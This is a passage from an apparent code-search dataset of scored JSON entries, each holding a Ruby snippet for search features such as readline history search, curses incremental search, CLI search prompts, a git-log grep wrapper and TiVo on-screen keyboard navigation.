"text": "def search_text_main(clipped = false)\n text = ''\n if self.event_type == 'sent' \n text = text + self.outgoing_message.get_text_for_indexing + \"\\n\\n\"\n elsif self.event_type == 'followup_sent'\n text = text + self.outgoing_message.get_text_for_indexing + \"\\n\\n\"\n elsif self.event_type == 'response'\n if clipped\n text = text + self.incoming_message.get_text_for_indexing_clipped + \"\\n\\n\"\n else\n text = text + self.incoming_message.get_text_for_indexing_full + \"\\n\\n\"\n end\n elsif self.event_type == 'comment'\n text = text + self.comment.body + \"\\n\\n\"\n else\n # nothing\n end\n return text\n end",
"title": ""
},
{
"docid": "a2dad5cb3ce17b73c5761be313116a1c",
"score": "0.49302998",
"text": "def status_line\n # prompt\n v_mm = @mode ? \"[#{@mode}] \" : ''\n cf = current_file\n @message = \" | No matches. Press ESCAPE \" if @patt && !cf\n\n clear_last_line\n\n # Print the filename at the right side of the status line\n # sometimes due to search, there is no file\n if cf\n if @debug_flag\n print_debug_info cf\n else\n # print_on_right \"#{Dir.pwd}\"\n print_filename_status_line if @filename_status_line\n end\n end\n # move to beginning of line, reset text mode after printing\n # patt and message are together, no gap, why not ? 2019-04-08 -\n if @patt && @patt != ''\n patt = \"[/#{@patt}\" + ']' # to get unfrozen string\n patt[-1] = '/i]' if @ignore_case\n end\n # bring cursor to start of line\n # add background color\n # print mode\n # print search pattern if any\n # print message if any\n # print \"\\r#{v_mm}#{patt}#{@message}\\e[m\"\n print \"\\r\\e[33;4#{@status_color}m#{v_mm}#{patt}#{@message}\\e[m\"\nend",
"title": ""
},
{
"docid": "34d392a1cb5ae2d1aebeaf95db33e11a",
"score": "0.48911452",
"text": "def draw_normal start_string=nil\n\t\t@main.clear do\n\t\t\tbutton(\"<<\") { turn_back }\n\t\t\t@line = edit_line(width: 300, text: @search_text) { @search_text = @line.text }\n\t\t\tbutton(\"search!\") { process_search }\n\t\t\tbutton(\"Random\"){ draw_search_results WikiClient.random_pages }\n\t\t\tbutton(\"export mindmap\") { $app.export_mindmap }\n\t\t\tbutton(\"Show in Browser\") { visit Phrases.url( $app.current_search[:phrase]) }\n\t\t\tbutton(\"about\") { alert Phrases.about }\n\t\tend #main.clear\n\tend",
"title": ""
},
{
"docid": "c66dafa2bdce37787d7e578fdae46aa9",
"score": "0.4882372",
"text": "def _rl_nsearch_dosearch(cxt)\r\n @rl_mark = cxt.save_mark\r\n\r\n # If rl_point == 0, we want to re-use the previous search string and\r\n # start from the saved history position. If there's no previous search\r\n # string, punt.\r\n if (@rl_point == 0)\r\n if @noninc_search_string.nil?\r\n rl_ding()\r\n rl_restore_prompt()\r\n rl_unsetstate(RL_STATE_NSEARCH)\r\n return -1\r\n end\r\n else\r\n # We want to start the search from the current history position.\r\n @noninc_history_pos = cxt.save_line\r\n @noninc_search_string = @rl_line_buffer.dup\r\n\r\n # If we don't want the subsequent undo list generated by the search\r\n #matching a history line to include the contents of the search string,\r\n #we need to clear rl_line_buffer here. For now, we just clear the\r\n #undo list generated by reading the search string. (If the search\r\n #fails, the old undo list will be restored by rl_maybe_unsave_line.)\r\n rl_free_undo_list()\r\n end\r\n\r\n rl_restore_prompt()\r\n noninc_dosearch(@noninc_search_string, cxt.direction)\r\n end",
"title": ""
},
{
"docid": "8d90f4ca204c3f4bdc21d498ae8cb988",
"score": "0.48643842",
"text": "def show(string, opts = {})\n options = {\n color: true,\n highlight: false,\n paginate: false,\n wrap: 0\n }\n\n options.merge!(opts)\n\n string = string.uncolor unless options[:color]\n\n pipes = ''\n if options[:highlight]\n hl = which_highlighter\n pipes = \"|#{hl}\" if hl\n end\n\n output = `echo #{Shellwords.escape(string.strip)}#{pipes}`\n\n if options[:paginate]\n page(output)\n else\n output.gsub!(/^╌/, '\\e]1337;SetMark\\a╌') if ENV['TERM_PROGRAM'] =~ /^iTerm/\n puts output\n end\n end",
"title": ""
},
{
"docid": "18cc2def7d02ed08ff072ed914941816",
"score": "0.48076904",
"text": "def history_search_pos(string, dir, pos)\r\n old = where_history()\r\n history_set_pos(pos)\r\n if (history_search(string, dir) == -1)\r\n history_set_pos(old)\r\n return (-1)\r\n end\r\n ret = where_history()\r\n history_set_pos(old)\r\n ret\r\n end",
"title": ""
},
{
"docid": "f5f23f1962ed559b09a4e8f1b9c33dfd",
"score": "0.47637677",
"text": "def initialize start_string=nil\n\t\t@main = flow width: 980, margin_left: 10\n\t\tdraw_normal ( @search_text = start_string || \"\" )\n\tend",
"title": ""
},
{
"docid": "51264acf2ae007b409e9bb5392206421",
"score": "0.47004196",
"text": "def search_selection\n puts SEARCH\n @query = STDIN.gets.chomp\n\n case @query\n when EXIT_COMMAND\n @loop = false\n when HELP_COMMAND\n show_help\n when FILE_COMMAND\n specify_files_to_search\n else\n system 'clear'\n process_search\n end\n end",
"title": ""
},
{
"docid": "72f8f9fd9baefe634823ebb9ce83edda",
"score": "0.46911633",
"text": "def reverse_incremental(hist)\n\n\t\ttoken = \"\" # user's search token\n\t\tmline = token # line which matches token\n\t\tih = hist.length - 1 # position within history list\n\n\t\t# interact with user\n\t\tloop do\n\n\t\t\t# write out current match status\n\t\t\twrite_str(@rows-1,0,\" \"*@cols)\n\t\t\twrite_str(@rows-1,0,\"(reverse-i-search) #{token}: #{mline}\")\n\n\t\t\t# get user input\n\t\t\tc = Curses.getch\n\t\t\tif c.is_a?(String) then c = c.unpack('C')[0] end\n\t\t\tcase c\n\t\t\t\twhen Curses::Key::BACKSPACE, $backspace, $backspace2, 8\n\t\t\t\t\t# chop off a character, and search for a new match\n\t\t\t\t\ttoken.chop!\n\t\t\t\t\tih = hist.rindex{|x|x.match(/^#{token}/)}\n\t\t\t\t\tif ih != nil\n\t\t\t\t\t\tmline = hist[ih]\n\t\t\t\t\tend\n\t\t\t\twhen $ctrl_r\n\t\t\t\t\t# get next match in reverse list\n\t\t\t\t\tif ih == 0\n\t\t\t\t\t\tnext\n\t\t\t\t\tend\n\t\t\t\t\tih = hist[0..(ih-1)].rindex{|x|x.match(/^#{token}/)}\n\t\t\t\twhen $ctrl_c, $ctrl_g\n\t\t\t\t\t# 0 return value = cancelled search\n\t\t\t\t\treturn 0\n\t\t\t\twhen $ctrl_m, Curses::Key::ENTER\n\t\t\t\t\t# non-zero return value is index of the match.\n\t\t\t\t\t# We've been searching backwards, so must invert index.\n\t\t\t\t\treturn hist.length - ih\n\t\t\t\twhen Curses::Key::UP, Curses::Key::DOWN\n\t\t\t\t\t# up/down treated same as enter\n\t\t\t\t\treturn hist.length - ih\n\t\t\t\twhen 10..127\n\t\t\t\t\t# regular character\n\t\t\t\t\ttoken += c.chr\n\t\t\t\t\tih = hist[0..ih].rindex{|x|x.match(/^#{token}/)}\n\t\t\tend\n\t\t\t# ajust string for next loop\n\t\t\tif ih != nil\n\t\t\t\tmline = hist[ih]\n\t\t\telse\n\t\t\t\tih = hist.length - 1\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2b86f8ce64604b4ed7b92c88a7a2cc07",
"score": "0.46689197",
"text": "def search(event)\n self.class.runtime += event.duration\n return unless logger.debug?\n\n payload = event.payload\n name = \"#{payload[:klass]} #{payload[:name]} (#{event.duration.round(1)}ms)\"\n search = payload[:search].inspect.gsub(/:(\\w+)=>/, '\\1: ')\n\n debug %Q| #{color(name, GREEN, true)} #{colorize_logging ? \"\\e[2m#{search}\\e[0m\" : search}|\n end",
"title": ""
},
{
"docid": "cdc1e4370c7003e3b4ec51851802f147",
"score": "0.46595803",
"text": "def ask_search\n str = get_string(\"Enter pattern: \")\n return if str.nil? \n str = @last_regex if str == \"\"\n return if str == \"\"\n ix = next_match str\n return unless ix\n @last_regex = str\n\n @oldindex = @current_index\n @current_index = ix[0]\n @curpos = ix[1]\n ensure_visible\n end",
"title": ""
},
{
"docid": "34ca6300da93c86111de9bf46ebe47eb",
"score": "0.4629294",
"text": "def display_search_results\n rec_ing = recipe_ingredients\n while rec_ing.length == 0\n puts ''\n puts \"*** Sorry, that ingredient's not available. ***\".colorize(:color => :red)\n puts ''\n search_ingredient\n rec_ing = recipe_ingredients\n end\n select_recipe_from_search(recipe_titles)\n end",
"title": ""
},
{
"docid": "9dee66d4c8bdf302001530a3c403ca68",
"score": "0.45517775",
"text": "def display_position(state)\n position = state[:position]\n puts \"Current position: \"\n position.each do |row|\n puts row.join(\" \")\n end\n end",
"title": ""
},
{
"docid": "7b5b4ce7cfbed457c63e61eeb0dae2e9",
"score": "0.45312998",
"text": "def search_prompt\n puts Spacer \n puts \"Please Enter a #{@search_type}\".colorize(:light_black)\n print \"or 'back' to go back to main menu:\".colorize(:light_black)\n end",
"title": ""
},
{
"docid": "d6286846c56ad9d7302a695a88dba16c",
"score": "0.45101193",
"text": "def backtrack_searching(location, expectation)\n result = location.dup\n line = lines[result[0] - 1]\n begin\n if (expectation_location = line.rindex(expectation, result[1]))\n result[1] = expectation_location\n return result\n end\n result[0] -= 1\n line = lines[result[0] - 1]\n result[1] = line.size\n end while result[0] >= 0\n location\n end",
"title": ""
},
{
"docid": "84d5f85642b62645bf8c778add5e326d",
"score": "0.45039558",
"text": "def setResultsText(action)\n lineBreaks = (0 ... @allResults.length).find_all {|i| @allResults[i,1]==\"\\n\"}\n\n if action == 0\n if lineBreaks.length < 30 \n displayText = @allResults\n @searchButton.state = 'disabled'\n else \n displayText = @allResults[0..lineBreaks[32]]\n @searchButton.state = 'normal'\n @resultsPage = 1\n end\n else\n if (@resultsPage+1)*32 < lineBreaks.length\n startBreak = lineBreaks[@resultsPage*32]+1\n endBreak = lineBreaks[(@resultsPage+1)*32]\n displayText = @allResults[startBreak..endBreak]\n @resultsPage += 1\n else\n displayText = @allResults[lineBreaks[@resultsPage*32]+1..-1]\n @searchButton.state = 'disabled'\n end\n end\n\n @resultsText.value = displayText\n end",
"title": ""
},
{
"docid": "04a4b4ac8548316c0e4d098641495a49",
"score": "0.4491335",
"text": "def forwardtrack_searching(location, expectation)\n result = location.dup\n line = lines[result[0] - 1]\n begin\n if (expectation_location = line.index(expectation, result[1]))\n result[1] = expectation_location + expectation.size\n return result\n end\n result[0] += 1\n result[1] = 0\n line = lines[result[0] - 1]\n end while result[0] <= lines.size\n location\n end",
"title": ""
},
{
"docid": "7a2fb639ec3d1ecf450666cd8a195c03",
"score": "0.44858423",
"text": "def show\n @location_mappings = LocationMapping.all\n #create a search object passing a hash of\n #all search parameters that will be passed via ransack\n @search = SonobatOutput.search(params[:q])\n @sonobat_outputs = @search.result\n\n @search.build_condition if @search.conditions.empty?\n @search.build_sort if @search.sorts.empty?\n end",
"title": ""
},
{
"docid": "d14953f7f7187b72786f1111a353d252",
"score": "0.4467732",
"text": "def TreeView_GetISearchString(hwndTV, lpsz) send_treeview_message(hwndTV, :GETISEARCHSTRING, lparam: lpsz) end",
"title": ""
},
{
"docid": "cdd5f63fbcdc6d1fa01e018aedd9752a",
"score": "0.44563034",
"text": "def starts_here(search, word, row, col)\n\n len = word.length - 1\n\n orientations = [\n :down,\n :down_right,\n :right,\n :up_right,\n :up,\n :up_left,\n :left,\n :down_left]\n\n orientations.each do |orientation|\n found = grab_line(search, row, col, len, orientation)\n\n if word == found\n return true\n end\n end\n\n return false\nend",
"title": ""
},
{
"docid": "2f0a3dcf306604e264591077faaa5f43",
"score": "0.44428447",
"text": "def run\n searching if @nr_of_words >= @phrase_length\n end",
"title": ""
},
{
"docid": "0229174f37546040ce111e2e1655dd48",
"score": "0.44288996",
"text": "def interpret(expression)\n \t\tresult = [\"Query Result: \"]\n\t\tmainQuery = ' '\n\t\tsubQuery = ' '\n\t\tforUsed = false\n\t\tsearchString = nil\n\t\tsearchStarted = false\n\t\tsearchEnded = false\n\n\t\ttokens = expression.split(' ')\n\t\tfor currentToken in tokens\n \t\t\tif currentToken == \"show\"\n \t\t\t\tnext\n\t\t\tend\n\n\t\t\t#//show in all queries, not really used\n\t\t\tif currentToken == \"title\"\n \t\t\t\tif mainQuery == ' '\n \t\t\t\t\tmainQuery = 'T'\n\t\t\t\telsif forUsed and subQuery == ' '\n \t\t\t\t\t\tsubQuery = 'T'\n\t\t\t\tend\n\t\t\telsif currentToken == \"actor\"\n \t\t\t\tif mainQuery == ' '\n \t\t\t\t\tmainQuery = 'A'\n\t\t\t\telsif forUsed and subQuery == ' '\n \t\t\t\t\t\tsubQuery = 'A'\n\t\t\t\tend\n\n\t\t\telsif currentToken == 'for'\n \t\t\t\tforUsed = true\n\n\t\t\telsif searchString == nil and subQuery != ' ' and currentToken.start_with?(\"<\")\n \t\t\t\tsearchString = currentToken\n\t\t\t\tsearchStarted = true\n\t\t\t\tif currentToken.end_with?(\">\")\n \t\t\t\t\tsearchEnded = true \n\t\t\t\tend\n\n\t\t\telsif searchStarted and not searchEnded\n \t\t\t\tsearchString += \" \" + currentToken\n\t\t\t\tif currentToken.end_with?(\">\")\n\t\t\t\t\tsearchEnded = true \n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\n\t\t#//remove <>\n\t\tif searchString != nil\n\t\t\tsearchString = searchString.slice(1..-2)\n\t\t\t#searchString = searchString.substring(1,(searchString.length() - 1)) \n\t\tend\n\n\t\texpr = nil\n\t\tif mainQuery == 'A'\n \t\t\tif subQuery == 'T'\n \t\t\t\texpr = DvdActorTitleExpression.new(searchString) \n\t\t\telse\n \t\t\t\texpr = DvdActorExpression.new()\n\t\t\tend\n\t\telsif mainQuery == 'T'\n \t\t\tif subQuery == 'A'\n \t\t\t\texpr = DvdTitleActorExpression.new(searchString) \n\t\t\telse\n \t\t\t\texpr = DvdTitleExpression.new()\n\t\t\tend\n\t\telse\n \t\t\treturn str(result)\n\t\tend\n\n\t\tresult.push(expr.interpret(@ctx))\n\t\tresult.join('')\n\tend",
"title": ""
},
{
"docid": "17f0316906fac28cbb1c2dc28f9d940a",
"score": "0.44211796",
"text": "def query\n expression_to_match = search_string\n expression_to_match = Regexp.escape(expression_to_match).gsub('\\\\ ', ' ') unless regex_mode?\n\n if expression_to_match.nil? || expression_to_match.empty?\n puts('provide expression to match as first argument')\n exit\n end\n\n quote = expression_to_match.include?('\"') ? \"'\" : '\"'\n\n command = <<~COMMAND.squish\n git log\n #{%(--author=\"#{author}\") if author}\n #{\"--since=#{days}.day\" unless days.nil?}\n --full-diff\n --no-textconv\n --format=\"commit %s|%H|%an|%cr (%ci)\"\n --source\n -p #{path}\n |\n\n rg #{quote}(#{expression_to_match})|(^commit )|(^diff )#{quote}\n --color never\n #{'--ignore-case' if ignore_case?}\n #{@options[:rg_options]}\n |\n\n #{'exe/' if development?}fcom #{quote}#{search_string}#{quote}\n #{\"--days #{days}\" if days}\n #{'--regex' if regex_mode?}\n #{'--debug' if debug?}\n #{'--ignore-case' if ignore_case?}\n --path #{path}\n --parse-mode\n --repo #{repo}\n COMMAND\n\n Fcom.logger.debug(\"Executing command: #{command}\")\n system(command)\n end",
"title": ""
},
{
"docid": "a5aa11311207d6e5e7aed9cfee174d21",
"score": "0.44172257",
"text": "def ListView_GetISearchString(hwndLV, lpsz)\n send_listview_message(hwndLV, :GETISEARCHSTRING, lparam: lpsz)\n end",
"title": ""
},
{
"docid": "f6469c75a615305c9161d42290752639",
"score": "0.4407309",
"text": "def search_note(string)\n logger.info 'Searching for a string within a note'\n search string\n end",
"title": ""
},
{
"docid": "1f16b4e9e789ce24e2949a1db23223e4",
"score": "0.44036314",
"text": "def noninc_search_from_pos(string, pos, dir)\r\n return 1 if (pos < 0)\r\n\r\n old = where_history()\r\n return -1 if (history_set_pos(pos) == 0)\r\n\r\n rl_setstate(RL_STATE_SEARCH)\r\n if (string[0,1] == '^')\r\n ret = history_search_prefix(string + 1, dir)\r\n else\r\n ret = history_search(string, dir)\r\n end\r\n rl_unsetstate(RL_STATE_SEARCH)\r\n\r\n if (ret != -1)\r\n ret = where_history()\r\n end\r\n history_set_pos(old)\r\n ret\r\n end",
"title": ""
},
{
"docid": "af6af48f83127bf8b7b858ccb0f05d05",
"score": "0.43919316",
"text": "def search_as_you_type\n\n @patt = '' + '' # rubocop suggestion to get unfrozen string\n @title = 'Search Results (ENTER to return, ESC to cancel)'\n clear_last_line\n print \"\\r/\"\n loop do\n key = get_char\n if key == 'ENTER'\n @title = 'Search Results (ESCAPE to return)'\n return true\n elsif key == 'ESCAPE'\n @mode = @title = @patt = nil\n status_line\n return false\n elsif key == 'BACKSPACE'\n @patt = @patt[0..-2]\n @message = nil # remove pesky ESCAPE message\n elsif key.match?(/^[a-zA-Z0-9\\. _]$/)\n @patt += key if @patt\n else\n resolve_key key\n @mode = @title = nil\n # if directory changes, then patt is nilled causing error above\n return true\n end\n # XXX is rescan required ?\n draw_directory\n place_cursor\n end\nend",
"title": ""
},
{
"docid": "16bf24f876e53ab4d4d63797a59deef5",
"score": "0.43789542",
"text": "def search_string\n @search_string\n end",
"title": ""
},
{
"docid": "fbe3c6b9ab2e57e9624b2975341442d2",
"score": "0.43329924",
"text": "def print_search_results\n system(\"clear\") \n puts Spacer\n\n if @search_type.match?(/^Pokemon Name$|^Pokedex Number$/)\n pokemon_ins = @api.read_pokemon_response\n pretty_text_pokemon(pokemon_ins) \n elsif @search_type.match?(/^Type$/)\n type_ins = @api.read_type_response \n print_all_type(type_ins)\n end\n end",
"title": ""
},
{
"docid": "2a9d4c568be6f949c3c08d513d7490a3",
"score": "0.4322749",
"text": "def search_non_note(string)\n logger.info \"Searching for '#{string}'\"\n search string\n end",
"title": ""
},
{
"docid": "2441a98edb509bad568b56e4c4470165",
"score": "0.43010247",
"text": "def advanced_search # :nologin: :norobots:\n begin\n query = find_query(:Location)\n show_selected_locations(query, :link_all_sorts => true)\n rescue => err\n flash_error(err.to_s) if !err.blank?\n redirect_to(:controller => 'observer', :action => 'advanced_search_form')\n end\n end",
"title": ""
},
{
"docid": "98588142e7de56d15a70bcc2cdb9a028",
"score": "0.4275097",
"text": "def search_stock_options\n blank\n puts \"[1-10] from the company menu options\".colorize( :gray )\n puts \"[a] to run all\"\n puts \"[m] to view menu again\".colorize( :gray )\n puts \"[b] to view company menu again\".colorize( :gray )\n puts \"[x] to exit\".colorize( :gray )\n end",
"title": ""
},
{
"docid": "78c31fd02fec79229359a49d1149b401",
"score": "0.42735183",
"text": "def output_debug(string)\n if Command.ui\n Command.ui.debug string\n else\n $stderr.puts \"DEBUG: #{string}\"\n end\n end",
"title": ""
},
{
"docid": "87c890eb193322c9c3f89fbd17a3233a",
"score": "0.42573768",
"text": "def report_robot_details details\r\n\tprint(\"\\nCurrent position details\")\r\n\tprintf(\"\\nFORMAT : (X,Y) - Face Direction => (%d,%d) - %s\", details.x, details.y, DIRECTIONS[details.f])\r\nend",
"title": ""
},
{
"docid": "6509ba22e22fa99c49bdeb3b1627b26e",
"score": "0.4251293",
"text": "def search\n\t\terror_message = nil\n\t\tresults = []\n\t\tloop do\n\t\t\t# system \"clear\"\n\t\t\tputs error_message || \"Please enter how you'd like to search.\".green\n\t\t\tputs \"1) Exact Match\\n2) Partial Match\\n3) Begins With...\\n4) Ends With...\\n\"\n\t\t\tprint \">\".blink.cyan\n\t\t\tinput = gets.chomp.to_i\n\t\t\tif input.is_a?(Fixnum) && input >= 1 && input <= 4\n\t\t\t\tresults = @dictionary_analyzer.search(input, @dictionary)\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\terror_message = \"Sorry, invalid input. Please choose 1,2,3 or 4.\"\n\t\t\t\tredo\n\t\t\tend\t\n\t\tend\n\n\t\t# Now that we have the results let's do something\n\t\t# with them. Unless there aren't any.\n\t\tif results.count == 0\n\t\t\tputs \"Sorry, no words were found that match that string.\"\n\t\telse\n\t\t\tfound_match(results)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b913bff6583df8a1f5f918b88ba15f59",
"score": "0.42508167",
"text": "def read_log(search_word, selection_index, filename)\n p tail = `tail -n 24 logs/#{filename}`#.split(\" \")\n return 'EMPTY' if tail.empty?\n return if tail.length < 13\n # word_index = tail.index(search_word) || 0\n # selection = word_index + selection_index\n # tail[selection]\n p line = tail.split(\"\\n\").grep(/#{search_word}/)[0]#.split('.. ')\n p line.to_s.split('.: ')[1]\nend",
"title": ""
},
{
"docid": "e7299ff3d641eb3589893589241a0a7a",
"score": "0.42365178",
"text": "def ask_search_backward\n regex = get_string(\"Enter regex to search (backward)\")\n @last_regex = regex\n ix = @list.find_prev regex, @current_index\n if ix.nil?\n alert(\"No matching data for: #{regex}\")\n else\n set_focus_on(ix)\n end\n end",
"title": ""
},
{
"docid": "e7299ff3d641eb3589893589241a0a7a",
"score": "0.42365178",
"text": "def ask_search_backward\n regex = get_string(\"Enter regex to search (backward)\")\n @last_regex = regex\n ix = @list.find_prev regex, @current_index\n if ix.nil?\n alert(\"No matching data for: #{regex}\")\n else\n set_focus_on(ix)\n end\n end",
"title": ""
},
{
"docid": "5e70aeb487d49fc3fce5ef70a5e21fdb",
"score": "0.42336997",
"text": "def word_search_board\n @grid.each do |r|\n puts r.map { |p| p }.join(\" \")\n end\n end",
"title": ""
},
{
"docid": "28c30d14aaa4241a680934d8ab88af96",
"score": "0.42194682",
"text": "def search(ent, txtvu)\n start = txtvu.buffer.start_iter\n first, last = start.forward_search(ent.text, Gtk::TextIter::SEARCH_TEXT_ONLY, nil)\n count = 0\n while (first)\n start.forward_char\n first, last = start.forward_search(ent.text, Gtk::TextIter::SEARCH_TEXT_ONLY, nil)\n start = first\n txtvu.buffer.apply_tag(\"highlight\", first, last)\n count += 1\n end\n\n dialogue = Gtk::MessageDialog.new(\n nil,\n Gtk::Dialog::MODAL,\n Gtk::MessageDialog::INFO, \n Gtk::MessageDialog::BUTTONS_OK,\n \"The string #{ent.text} was found #{count} times!\"\n )\n dialogue.run\n dialogue.destroy\nend",
"title": ""
},
{
"docid": "970f5bfddf813586f3f162757beca01a",
"score": "0.42154515",
"text": "def search_prev_word(word)\n @info.focus\n highlight_word word\n cursor = @info.index('insert')\n pos = @info.rsearch_with_length(Regexp.new(Regexp::quote(word), Regexp::IGNORECASE), cursor)[0]\n if pos.empty?\n @app.status = 'Cannot find \"%s\"' % word\n else\n set_cursor(pos)\n if @info.compare(cursor, '<=', pos)\n @app.status = 'Continuing search at bottom'\n else\n @app.status = ''\n end\n end\n end",
"title": ""
},
{
"docid": "eb7db03acd779f5d7eeba8da75e41deb",
"score": "0.42117622",
"text": "def search\n if Config[\"ISEARCH\"]\n incremental_search\n else\n str = getstr('/')\n do_search NEXT, str\n end\n end",
"title": ""
},
{
"docid": "4e8eec9849e9557330b371dc73924eb7",
"score": "0.41956723",
"text": "def turn_back\n\t\tsearch = $app.get_last_request\n\t\twrite search[:phrase]\n\t\t$app.is_back_search = true\n\t\tif search[:thumbnail]\n\t\t\t$app.current_search = search\n\t\t\t$widgets.options_list.start_progression @search_text\n\t\telse\n\t\t\tprocess_search\t\n\t\tend #if\n\tend",
"title": ""
},
{
"docid": "e506173088ab9d02664b3399c495b556",
"score": "0.419268",
"text": "def show_search_results(matches)\n if matches.empty?\n output.puts text.bold(\"No Methods Matched\")\n else\n print_matches(matches)\n end\n end",
"title": ""
},
{
"docid": "2ca419e4e3aa1f1643e000a46e38d73e",
"score": "0.4192337",
"text": "def do_search(searchTerm, tivo)\n\treturn unless searchTerm #ignore empty searches\n\tsay 'Continue with your TiVo remote'\n\tterm = searchTerm.dup\n\tterm.downcase! #convert to lowercase (simplify processing)\n\tterm.sub!(/^the /,\"\") #get rid of \"The \" at the start of any searches\n\tterm.gsub!(/[^a-z0-9 ]/,\"\") #get rid of non-TiVo-search chars\n\tterm += '@' # add our EOF char (possible special processing at end)\n\t#need to navigate the TiVo search screen, using only UP DOWN LEFT RIGHT\n\t#this is a row/column map of the screen, which looks as follows:\n\t#\n\t#DEL SPC CLR\n\t#A B C D\n\t#E F G H\n\t#I J K L\n\t#M N O P\n\t#Q R S T\n\t#U V W X\n\t#Y Z 0 1\n\t#2 3 4 5\n\t#6 7 8 9\n\t#\n\t#no need to map the DEL or CLR keys, but the others are mapped here\n\t\n\tkeys = { \n\t\t'a' => { 'row' => 1, 'col' => 0 },\n\t\t'b' => { 'row' => 1, 'col' => 1 },\n\t\t'c' => { 'row' => 1, 'col' => 2 },\n\t\t'd' => { 'row' => 1, 'col' => 3 },\n\t\t'e' => { 'row' => 2, 'col' => 0 },\n\t\t'f' => { 'row' => 2, 'col' => 1 },\n\t\t'g' => { 'row' => 2, 'col' => 2 },\n\t\t'h' => { 'row' => 2, 'col' => 3 },\n\t\t'i' => { 'row' => 3, 'col' => 0 },\n\t\t'j' => { 'row' => 3, 'col' => 1 },\n\t\t'k' => { 'row' => 3, 'col' => 2 },\n\t\t'l' => { 'row' => 3, 'col' => 3 },\n\t\t'm' => { 'row' => 4, 'col' => 0 },\n\t\t'n' => { 'row' => 4, 'col' => 1 },\n\t\t'o' => { 'row' => 4, 'col' => 2 },\n\t\t'p' => { 'row' => 4, 'col' => 3 },\n\t\t'q' => { 'row' => 5, 'col' => 0 },\n\t\t'r' => { 'row' => 5, 'col' => 1 },\n\t\t's' => { 'row' => 5, 'col' => 2 },\n\t\t't' => { 'row' => 5, 'col' => 3 },\n\t\t'u' => { 'row' => 6, 'col' => 0 },\n\t\t'v' => { 'row' => 6, 'col' => 1 },\n\t\t'w' => { 'row' => 6, 'col' => 2 },\n\t\t'x' => { 'row' => 6, 'col' => 3 },\n\t\t'y' => { 'row' => 7, 'col' => 0 },\n\t\t'z' => { 'row' => 7, 'col' => 1 },\n\t\t'0' => { 'row' => 7, 'col' => 2 },\n\t\t'1' => { 'row' => 7, 'col' => 3 },\n\t\t'2' => { 'row' => 8, 'col' => 0 },\n\t\t'3' => { 'row' => 8, 'col' => 1 },\n\t\t'4' => { 'row' => 8, 'col' => 2 },\n\t\t'5' => { 'row' => 8, 'col' => 3 },\n\t\t'6' => { 'row' => 9, 'col' => 0 },\n\t\t'7' => { 'row' => 9, 'col' => 1 },\n\t\t'8' => { 'row' => 9, 'col' => 2 },\n\t\t'9' => { 'row' => 9, 'col' => 3 },\n\t\t'@' => { 'row' => 0, 'col' => 4 } #internal EOF\n}\n\trow = 1 #TiVo starts search at 'A' in the second row\n\tcol = 0\n\tterm.each_char {|c| \n\t\tif c == ' ' #deal with the space key separately\n\t\t\ttivo.puts 'IRCODE FORWARD'\n\t\telse\n\t\t\trow_change = keys[c]['row'] - row\n\t\t\tcol_change = keys[c]['col'] - col\n\t\t\tif row_change > 0\n\t\t\t\t(0...row_change).each { tivo.puts 'IRCODE DOWN' }\n\t\t\telsif row_change < 0\n\t\t\t\t(row_change...0).each { tivo.puts 'IRCODE UP' }\n\t\t\tend\n\t\t\tif col_change > 0\n\t\t\t\t(0...col_change).each { tivo.puts 'IRCODE RIGHT' }\n\t\t\telsif col_change < 0\n\t\t\t\t(col_change...0).each { tivo.puts 'IRCODE LEFT' }\n\t\t\tend\n\t\t\ttivo.puts 'IRCODE SELECT' unless c == '@' #don't select at end\n\t\t\tsleep short_delay #give keyboard a chance to catch up\n\t\t\trow = keys[c]['row']\n\t\t\tcol = keys[c]['col']\n\t\tend\n\t}\nend",
"title": ""
},
{
"docid": "d01266178384d886bc9de05216130646",
"score": "0.41888034",
"text": "def with_around(current_str, i, text, around_quantity)\n prev = (i >= around_quantity) ? # chek count lines previous line with search string\n (i - around_quantity ... i) : (0 ... i)\n after = (i + around_quantity <= text.size) ? # chek count lines after line with search string\n (i + 1 .. i + around_quantity) : (i + 1 .. text.size)\n\n [text[prev],\n red_str(current_str),\n text[after],\n '---'.red_on_green].\n flatten\n end",
"title": ""
},
{
"docid": "1af46a325a82336d2135dd54df7ac867",
"score": "0.4172382",
"text": "def advanced_search\n return if handle_advanced_search_invalid_q_param?\n\n query = find_query(:Location)\n show_selected_locations(query, link_all_sorts: true)\n rescue StandardError => e\n flash_error(e.to_s) if e.present?\n redirect_to(search_advanced_path)\n end",
"title": ""
},
{
"docid": "58c570bcbe0ae3a974d3df6c97289297",
"score": "0.41715342",
"text": "def display_string\n op_match = /#{SORTEDOPS.map { |o| Regexp.quote(o) }.join(\"|\")}/\n popen = Regexp.quote(OPEN_PAREN)\n pclose = Regexp.quote(CLOSE_PAREN)\n text = self.to_s\n text.gsub(/#{popen}(.*?)#{pclose}/) { |m|\n payload = $1.dup\n count = 0\n payload.gsub(op_match) do |pm|\n count += 1\n pm\n end\n if count == 1\n payload.strip\n else\n OPEN_PAREN + payload.strip + CLOSE_PAREN\n end\n }.strip\n end",
"title": ""
},
{
"docid": "39b48f05ab4375f16c54b67795014e4f",
"score": "0.41698265",
"text": "def render_option(result, index)\n color = index == selected_row ? 255 : 234\n bg_color = index == selected_row ? 25 : 255\n\n extra_padding = \" \" * (width_of_suggestions - result.length)\n text = \" #{result}#{extra_padding} \"\n target_spacing = spacing + extra_spacing\n\n diff = Hedgehog::Terminal.columns - (target_spacing + text.length)\n\n actual_spacing = target_spacing\n actual_spacing = actual_spacing + diff if diff < 0\n\n print(\"\\n\")\n print \"\\e[0G\"\n print(\" \" * [actual_spacing, 0].max)\n print(str_with_color(text, color: color, bg_color: bg_color))\n end",
"title": ""
},
{
"docid": "98d47b0963e488092a7bbea4c665379d",
"score": "0.41585273",
"text": "def display_word\n puts \"Current word: #{@hidden_word}\"\n end",
"title": ""
},
{
"docid": "e189f9d9442e576665d7a81e3bb2af66",
"score": "0.41531834",
"text": "def search_phrase(search, admin)\n search = search.split(\" \")\n permissions = admin ? @@member + @@admin_only : @@member\n @results = []\n\n for col in permissions\n for word in search\n self.update_results(col, word)\n end\n end\n @results\n end",
"title": ""
},
{
"docid": "5950755fc8c4115ed68af4a8ec28439e",
"score": "0.41518217",
